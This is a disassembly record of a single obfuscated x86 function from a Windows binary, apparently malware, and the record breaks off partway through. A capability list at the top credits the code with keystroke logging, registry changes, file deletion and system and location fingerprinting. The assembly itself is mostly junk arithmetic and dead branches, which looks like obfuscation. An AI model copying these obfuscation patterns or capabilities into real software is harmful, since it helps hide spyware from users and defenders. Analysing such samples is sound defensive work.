Function at 0x100099d1
Capabilities:
Accept command line arguments
Connect pipe
Create directory
Create pipe
Delete file
Extract resource via kernel32 functions
Get disk information
Get geographical location
Get memory capacity
Get system information on windows
Log keystrokes via polling
Parse pe header
Query environment variable
Query or enumerate registry key
Query service status
Resume thread
Set registry value
Terminate process

Disassembly:
mov eax, 0x1007e948
call fcn.1007e070
mov eax, 0x1694
call fcn.1007bc90
push ebx
push esi
push edi
mov dword [ebp - 0x20], 0x17571177
mov eax, 0x8373b2c
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x5bc], eax
push 8
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5b4], eax
xor eax, eax
pop ebx
push 1
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffe2
pop eax
push 0xffffffffffffffff
mov byte [ebp - 0x65], dl
mov dword [ebp - 0x54], ecx
pop edi
jge 0x10009beb
push 2
lea ecx, [ebp - 0x55c]
call fcn.10009161
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x48], 0x1cb27f08
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x10], eax
jmp 0x10009a69
push dword [ebp - 0x10]
lea ecx, [ebp - 0x55c]
call fcn.100091ce
mov dword [eax], 0x1479
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10009a52
mov eax, dword [ebp - 0x20]
xor edx, edx
mov dword [ebp - 0x18], 7
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x20]
jne 0x10009a9a
xor eax, eax
cmp dword [ebp - 0x5bc], eax
jne 0x10009a9a
mov esi, eax
inc eax
jmp 0x10009a9f
xor eax, eax
inc eax
mov esi, eax
push eax
lea ecx, [ebp - 0x55c]
call fcn.100091ce
xor ebx, ebx
lea ecx, [ebp - 0x55c]
cmp dword [eax], esi
sete bl
xor eax, eax
push eax
call fcn.100091ce
xor ecx, ecx
cmp ebx, dword [eax]
setle cl
cmp ecx, 7
jbe 0x10009b26
mov dword [ebp - 0x18], 0x15
cmp dword [ebp - 0x18], 0xfffffff3
jne 0x10009b36
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10009afd
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x9f8], 0x4495231f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10009ae4
xor eax, eax
mov dword [ebp - 0x9f4], eax
jmp 0x10009b12
mov dword [ebp - 0x48], 2
inc dword [ebp - 0x9f4]
cmp dword [ebp - 0x9f4], 3
jle 0x10009b05
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff3
je 0x10009adb
jmp 0x10009b36
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10009b36
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor ebx, ebx
lea ecx, [ebp - 0x55c]
inc ebx
push ebx
call fcn.100091ce
mov ecx, dword [ebp - 0x5bc]
xor edx, edx
cmp dword [eax], 0xfffffffc
mov eax, dword [ebp - 0x5c0]
setl dl
sub ecx, edx
add eax, ecx
cmp eax, dword [ebp - 0x20]
jl 0x10009b68
mov eax, dword [ebp - 0x5bc]
imul ecx, dword [ebp - 0x20], 0xa2464a4
xor edx, edx
mov eax, dword [ebp - 0x18]
push ebx
cmp ecx, eax
setle dl
xor eax, eax
cmp edx, 0xfffffff8
setne al
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 4
mov eax, dword [ebp - 0x5bc]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x55c]
call fcn.100091ce
mov ecx, dword [ebp - 0x18]
xor edx, edx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x55c]
mov eax, dword [ebp - 0x38]
setge dl
imul eax, edx
mov dword [ebp - 0x48], eax
mov dword [ebp - 4], edi
call fcn.100091c9
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe2
push 8
pop ebx
jl 0x10009a2a
xor eax, eax
inc eax
push eax
lea ecx, [ebp - 0xa8c]
call fcn.10009161
xor eax, eax
inc eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x24], 0xe83c7730
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x10009c2e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x159c], 0x624039b6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10009c15
xor eax, eax
mov dword [ebp - 0x10], 2
cmp dword [ebp - 0x10], eax
jl 0x10009c6e
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10009c4d
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10009c69
push 0x1b9f
push 0x541
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
dec dword [ebp - 0x10]
jns 0x10009c3a
mov dword [ebp - 0x1c], 0xe63e3155
lea ecx, [ebp - 0x1374]
mov dword [ebp - 0x48], eax
xorps xmm0, xmm0
lea eax, [ebp - 0x124c]
push eax
lea eax, [ebp - 0x125c]
push eax
movdqu xmmword [ebp - 0x125c], xmm0
call fcn.100091e0
lea ecx, [ebp - 0x20c]
mov esi, eax
call fcn.100091dd
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xd7c]
push dword [esi]
call fcn.100091a3
xor eax, eax
mov byte [ebp - 4], 2
inc eax
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x10], eax
jmp 0x10009cdf
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x73c], 0xcb1a7a81
inc dword [ebp - 0x10]
xor eax, eax
inc eax
cmp dword [ebp - 0x10], eax
jl 0x10009cce
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0xd7c]
mov eax, dword [ebp - 0x1c]
push 2
call fcn.100091ce
mov ecx, dword [ebp - 0x73c]
sub ecx, dword [ebp - 0x48]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
neg eax
test eax, eax
setle cl
xor edx, edx
add ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x48]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
xor ebx, ebx
mov dword [ebp - 0x28], ecx
inc ebx
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0xd7c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov byte [ebp - 4], bl
call fcn.100091c9
push 2
pop esi
push esi
lea ecx, [ebp - 0xa38]
call fcn.10009161
mov byte [ebp - 4], 3
xor eax, eax
mov dword [ebp - 0x40], 0x7dc4b4e1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10009d97
push dword [ebp - 0x10]
lea ecx, [ebp - 0xa38]
call fcn.100091ce
mov dword [eax], 0x1852
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10009d79
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10009da7
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
lea ecx, [ebp - 0xa38]
call fcn.100091ce
lea ecx, [ebp - 0xa38]
dec dword [eax]
mov byte [ebp - 4], bl
call fcn.100091c9
xor eax, eax
mov dword [ebp - 0x10], eax
inc eax
cmp dword [ebp - 0x10], eax
jge 0x10009ded
push dword [ebp - 0x10]
lea ecx, [ebp - 0xa8c]
call fcn.100091ce
mov dword [eax], 4
xor eax, eax
inc dword [ebp - 0x10]
inc eax
cmp dword [ebp - 0x10], eax
jl 0x10009dce
mov dword [ebp - 0x20], edi
lea ecx, [ebp - 0xa44]
mov dword [ebp - 0x1c], 0x6ab2aee5
mov dword [ebp - 0x10], 0x213af72b
mov dword [ebp - 0x38], 0x1c57511e
mov dword [ebp - 0x4c], eax
push esi
call fcn.10009161
xor eax, eax
mov byte [ebp - 4], 4
mov dword [ebp - 0x10], eax
jmp 0x10009e36
push dword [ebp - 0x10]
lea ecx, [ebp - 0xa44]
call fcn.100091ce
mov dword [eax], 0xd55adb51
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10009e1f
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ebx, ebx
inc edx
inc ebx
mov dword [ebp - 0x1c], edx
mov ecx, ebx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
sub ecx, eax
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x10009eb1
mov dword [ebp - 0x1c], 0xfffffff8
xor edx, edx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setg dl
cmp dword [ebp - 0x1c], edx
jle 0x10009e9b
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], 0x2041
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0xa44]
mov eax, dword [ebp - 0x4c]
push ebx
call fcn.100091ce
mov ecx, dword [ebp - 0x1c]
mov byte [ebp - 4], bl
mov dword [eax], ecx
lea ecx, [ebp - 0xa44]
call fcn.100091c9
xor eax, eax
mov dword [ebp - 0x10], 0x81c2900
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x10009f01
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x15fc], 0x3b91
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10009ee8
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10009f26
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10009f23
push 0x1028
push eax
push 0x13f0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jle 0x10009f06
push 6
mov dword [ebp - 0x18], 0xb26bdde0
mov dword [ebp - 0x18], eax
pop edx
jmp 0x10009f8a
mov dword [ebp - 0x28], 0x18d58162
mov dword [ebp - 0x48], 0xf4ffcf33
mov dword [ebp - 0x38], 0xb5486b6
cmp dword [ebp - 0x28], eax
jne 0x10009f8f
cmp dword [ebp - 0x18], eax
jne 0x10009f6f
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x18]
jg 0x10009f6f
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10009f71
mov eax, ebx
mov dword [ebp - 0x48], eax
xor ecx, ecx
mov eax, dword [ebp - 0x48]
cmp eax, 0x5de05dae
push 0
setl cl
mov dword [ebp - 0x38], ecx
inc dword [ebp - 0x18]
pop eax
cmp dword [ebp - 0x18], edx
jne 0x10009f3a
mov edi, dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10009fa3
push eax
call edi
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jl 0x1000a5e0
mov dword [ebp - 0x20], 0x2799ac78
lea ecx, [ebp - 0xa5c]
mov dword [ebp - 0x2c], 0xbbb66efe
push ebx
call fcn.10009161
xor eax, eax
mov byte [ebp - 4], 5
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10009ffb
push dword [ebp - 0x10]
lea ecx, [ebp - 0xa5c]
call fcn.100091ce
mov dword [eax], 0xfffffffd
xor eax, eax
inc dword [ebp - 0x10]
inc eax
cmp dword [ebp - 0x10], eax
jl 0x10009fd7
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x20], 0x16
cmp dword [ebp - 0x20], 0xffffffe2
jge 0x1000a07f
jmp 0x1000a00c
xor eax, eax
mov dword [ebp - 0x38], 0x5f0b
mov dword [ebp - 0x40], 0xd3ecf04b
mov dword [ebp - 0x4c], 0xfffffff9
push 8
mov dword [ebp - 0x40], 0xbde283bc
pop ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x4c], 0xfffffff8
mov dword [ebp - 0x10], eax
jmp 0x1000a04b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x13d4], 0x5b641b44
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1000a03a
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp eax, ebx
setl cl
xor eax, eax
cmp ecx, dword [ebp - 0x20]
jl 0x1000a066
cmp dword [ebp - 0x2c], eax
je 0x1000a06d
cmp dword [ebp - 0x20], eax
je 0x1000a06d
mov eax, ebx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x4c], eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe2
jl 0x1000a00a
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x1000a238
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jg 0x1000a22f
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1000a0be
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2ec], 0xfffffffa
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1000a0a5
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1000a0de
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf08], 0x85869
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1000a0c6
xor eax, eax
mov dword [ebp - 0x2ec], eax
jmp 0x1000a214
mov dword [ebp - 0x1c], 0xd0127420
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x1000a20e
or ecx, 0xffffffff
mov dword [ebp - 0x30], 0x232c2a4e
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jg 0x1000a205
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0xa5c]
push dword [ebp - 0x2ec]
call fcn.100091ce
cmp dword [eax], 0
jne 0x1000a200
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jl 0x1000a1f1
mov dword [ebp - 0x10], 0xa44bf8e1
mov dword [ebp - 0x38], 0xf5771bf3
cmp dword [ebp - 0x1c], eax
je 0x1000a1ad
cmp dword [ebp - 0x2ec], 0x47fd326d
jge 0x1000a162
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x10]
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x1000a172
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2e4]
xor edx, edx
sub eax, 0x9d76
cmp eax, 0x32d4
mov eax, dword [ebp - 0x10]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0x1c]
imul eax, ecx, 0x41bd
test eax, eax
jne 0x1000a1a4
cmp dword [ebp - 0x38], eax
je 0x1000a1ab
xor eax, eax
lea ecx, [eax + 1]
jmp 0x1000a1af
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x2c]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x48]
push 0
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xf08]
setl cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x2e8]
setl dl
xor ecx, ecx
cmp eax, edx
pop eax
setg cl
mov dword [ebp - 0x38], ecx
dec dword [ebp - 0x34]
jns 0x1000a140
inc dword [ebp - 0x30]
push 0xffffffffffffffff
pop ecx
cmp dword [ebp - 0x30], eax
jle 0x1000a115
xor eax, eax
or ecx, 0xffffffff
dec dword [ebp - 0x1c]
jns 0x1000a0ff
inc dword [ebp - 0x2ec]
cmp dword [ebp - 0x2ec], eax
jle 0x1000a0e9
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jle 0x1000a09c
xor ebx, ebx
inc ebx
dec dword [ebp - 0x2c]
jns 0x1000a08d
lea ecx, [ebp - 0xa5c]
mov byte [ebp - 4], bl
call fcn.100091c9
xor eax, eax
mov dword [ebp - 0x34], 0xbb11accb
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jl 0x1000a5d7
jmp 0x1000a25f
xor eax, eax
mov dword [ebp - 0x20], 0x17571177
mov ecx, 0x8373b2c
mov dword [ebp - 0x610], ecx
mov dword [ebp - 0x60c], ecx
mov dword [ebp - 0x608], ecx
mov dword [ebp - 0x604], ecx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffe2
jge 0x1000a454
push esi
lea ecx, [ebp - 0x4cc]
call fcn.10009161
push 6
pop eax
mov byte [ebp - 4], al
push 8
pop eax
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x48], 0x1cb27f08
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x10], eax
jmp 0x1000a2d4
push dword [ebp - 0x10]
lea ecx, [ebp - 0x4cc]
call fcn.100091ce
mov dword [eax], 0x1479
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1000a2bd
mov eax, dword [ebp - 0x20]
xor edx, edx
mov dword [ebp - 0x18], 7
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x20]
jne 0x1000a304
xor eax, eax
cmp dword [ebp - 0x60c], eax
jne 0x1000a304
mov esi, eax
inc eax
jmp 0x1000a309
xor eax, eax
inc eax
mov esi, eax
push eax
lea ecx, [ebp - 0x4cc]
call fcn.100091ce
xor ebx, ebx
lea ecx, [ebp - 0x4cc]
cmp dword [eax], esi
sete bl
xor eax, eax
push eax
call fcn.100091ce
xor ecx, ecx
cmp ebx, dword [eax]
setle cl
cmp ecx, 7
jbe 0x1000a390
mov dword [ebp - 0x18], 0x15
cmp dword [ebp - 0x18], 0xfffffff3
jne 0x1000a3a0
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1000a367
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x980], 0x4495231f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1000a34e
xor eax, eax
mov dword [ebp - 0x97c], eax
jmp 0x1000a37c
mov dword [ebp - 0x48], 2
inc dword [ebp - 0x97c]
cmp dword [ebp - 0x97c], 3
jle 0x1000a36f
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff3
je 0x1000a345
jmp 0x1000a3a0
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1000a3a0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor ebx, ebx
lea ecx, [ebp - 0x4cc]
inc ebx
push ebx
call fcn.100091ce
mov ecx, dword [ebp - 0x60c]
xor edx, edx
cmp dword [eax], 0xfffffffc
mov eax, dword [ebp - 0x610]
setl dl
sub ecx, edx
add eax, ecx
cmp eax, dword [ebp - 0x20]
jl 0x1000a3d2
mov eax, dword [ebp - 0x60c]
imul ecx, dword [ebp - 0x20], 0xa2464a4
xor edx, edx
mov eax, dword [ebp - 0x18]
push ebx
cmp ecx, eax
setle dl
xor eax, eax
cmp edx, 0xfffffff8
setne al
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 4
mov eax, dword [ebp - 0x60c]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x4cc]
call fcn.100091ce
mov ecx, dword [ebp - 0x18]
xor edx, edx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x4cc]
mov eax, dword [ebp - 0x38]
setge dl
imul eax, edx
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], bl
call fcn.100091c9
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe2
push 2
pop esi
jl 0x1000a290
xor eax, eax
mov byte [ebp - 0x39], al
lea ecx, [ebp - 0x136c]
mov dword [ebp - 0x1c], 0xe63e3155
xorps xmm0, xmm0
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x110c]
push eax
lea eax, [ebp - 0x111c]
push eax
movdqu xmmword [ebp - 0x111c], xmm0
call fcn.100091e0
lea ecx, [ebp - 0x20e]
mov esi, eax
call fcn.100091dd
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xe2c]
push dword [esi]
call fcn.100091a3
mov byte [ebp - 4], 7
xor eax, eax
mov dword [ebp - 0x28], ebx
xor ebx, ebx
mov dword [ebp - 0x28], eax
inc ebx
mov dword [ebp - 0x10], eax
inc eax
cmp dword [ebp - 0x10], eax
jge 0x1000a4d1
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x694], 0xcb1a7a81
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1000a4bb
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0xe2c]
mov eax, dword [ebp - 0x1c]
push 2
pop esi
push esi
call fcn.100091ce
mov ecx, dword [ebp - 0x694]
sub ecx, dword [ebp - 0x48]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
neg eax
test eax, eax
setle cl
xor edx, edx
add ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x48]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0xe2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov byte [ebp - 4], bl
call fcn.100091c9
cmp byte [ebp - 0x39], 0
je 0x1000a5bb
push esi
lea ecx, [ebp - 0xa74]
call fcn.10009161
push 8
pop eax
mov byte [ebp - 4], al
xor eax, eax
mov dword [ebp - 0x40], 0x7dc4b4e1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1000a585
push dword [ebp - 0x10]
lea ecx, [ebp - 0xa74]
call fcn.100091ce
mov dword [eax], 0x1852
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1000a567
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1000a595
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
lea ecx, [ebp - 0xa74]
call fcn.100091ce
lea ecx, [ebp - 0xa74]
dec dword [eax]
mov byte [ebp - 4], bl
call fcn.100091c9
xor eax, eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetCommState]
push dword [ebp - 0x24]
lea ecx, [ebp - 0xa8c]
call fcn.100091ce
cmp dword [eax], 0
jne 0x1000a5d7
dec dword [ebp - 0x34]
jns 0x1000a25d
dec dword [ebp - 0x24]
jns 0x10009faf
or eax, 0xffffffff
lea ecx, [ebp - 0xa8c]
mov dword [ebp - 4], eax
call fcn.100091c9
push ebx
lea ecx, [ebp - 0xaa4]
call fcn.10009161
mov dword [ebp - 4], 9
xor eax, eax
mov dword [ebp - 0x10], 0xe83c7730
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1000a633
push dword [ebp - 0x10]
lea ecx, [ebp - 0xaa4]
call fcn.100091ce
mov dword [eax], 4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1000a615
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1000a641
push eax
call edi
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x1000a68b
mov dword [ebp - 0x34], 0xbb11accb
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jl 0x1000a686
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1000a669
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetCommState]
push dword [ebp - 0x10]
lea ecx, [ebp - 0xaa4]
call fcn.100091ce
cmp dword [eax], 0
jne 0x1000a684
dec dword [ebp - 0x34]
push 0
pop eax
jns 0x1000a658
xor eax, eax
dec dword [ebp - 0x10]
jns 0x1000a649
or eax, 0xffffffff
lea ecx, [ebp - 0xaa4]
mov dword [ebp - 4], eax
call fcn.100091c9
push ebx
lea ecx, [ebp - 0xabc]
call fcn.10009161
mov dword [ebp - 4], 0xa
xor eax, eax
mov dword [ebp - 0x10], 0xe83c7730
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1000a6de
push dword [ebp - 0x10]
lea ecx, [ebp - 0xabc]
call fcn.100091ce
mov dword [eax], 4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1000a6c0
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1000a6ec
push eax
call edi
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x1000a736
mov dword [ebp - 0x34], 0xbb11accb
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jl 0x1000a731
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1000a714
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetCommState]
push dword [ebp - 0x10]
lea ecx, [ebp - 0xabc]
call fcn.100091ce
cmp dword [eax], 0
jne 0x1000a72f
dec dword [ebp - 0x34]
push 0
pop eax
jns 0x1000a703
xor eax, eax
dec dword [ebp - 0x10]
jns 0x1000a6f4
or eax, 0xffffffff
lea ecx, [ebp - 0xabc]
mov dword [ebp - 4], eax
call fcn.100091c9
or eax, 0xffffffff
lea ecx, [ebp - 0xad4]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 0x6ab2aee5
mov dword [ebp - 0x10], 0x213af72b
mov dword [ebp - 0x38], 0x1c57511e
mov dword [ebp - 0x4c], ebx
push esi
call fcn.10009161
xor eax, eax
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x10], eax
jmp 0x1000a796
push dword [ebp - 0x10]
lea ecx, [ebp - 0xad4]
call fcn.100091ce
mov dword [eax], 0xd55adb51
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1000a77f
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov ecx, ebx
setne dl
sub edx, dword [ebp - 0x20]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
sub ecx, eax
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x1000a80e
mov dword [ebp - 0x1c], 0xfffffff8
xor edx, edx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setg dl
cmp dword [ebp - 0x1c], edx
jle 0x1000a7f8
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], 0x2041
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0xad4]
mov eax, dword [ebp - 0x4c]
push ebx
call fcn.100091ce
mov ecx, dword [ebp - 0x1c]
mov dword [eax], ecx
or eax, 0xffffffff
lea ecx, [ebp - 0xad4]
mov dword [ebp - 4], eax
call fcn.100091c9
xor eax, eax
mov dword [ebp - 0x18], 0xb26bdde0
push 6
mov dword [ebp - 0x18], eax
pop edx
cmp dword [ebp - 0x18], edx
je 0x1000a8a0
jmp 0x1000a84e
xor eax, eax
mov dword [ebp - 0x28], 0x18d58162
mov dword [ebp - 0x48], 0xf4ffcf33
mov dword [ebp - 0x38], 0xb5486b6
cmp dword [ebp - 0x28], eax
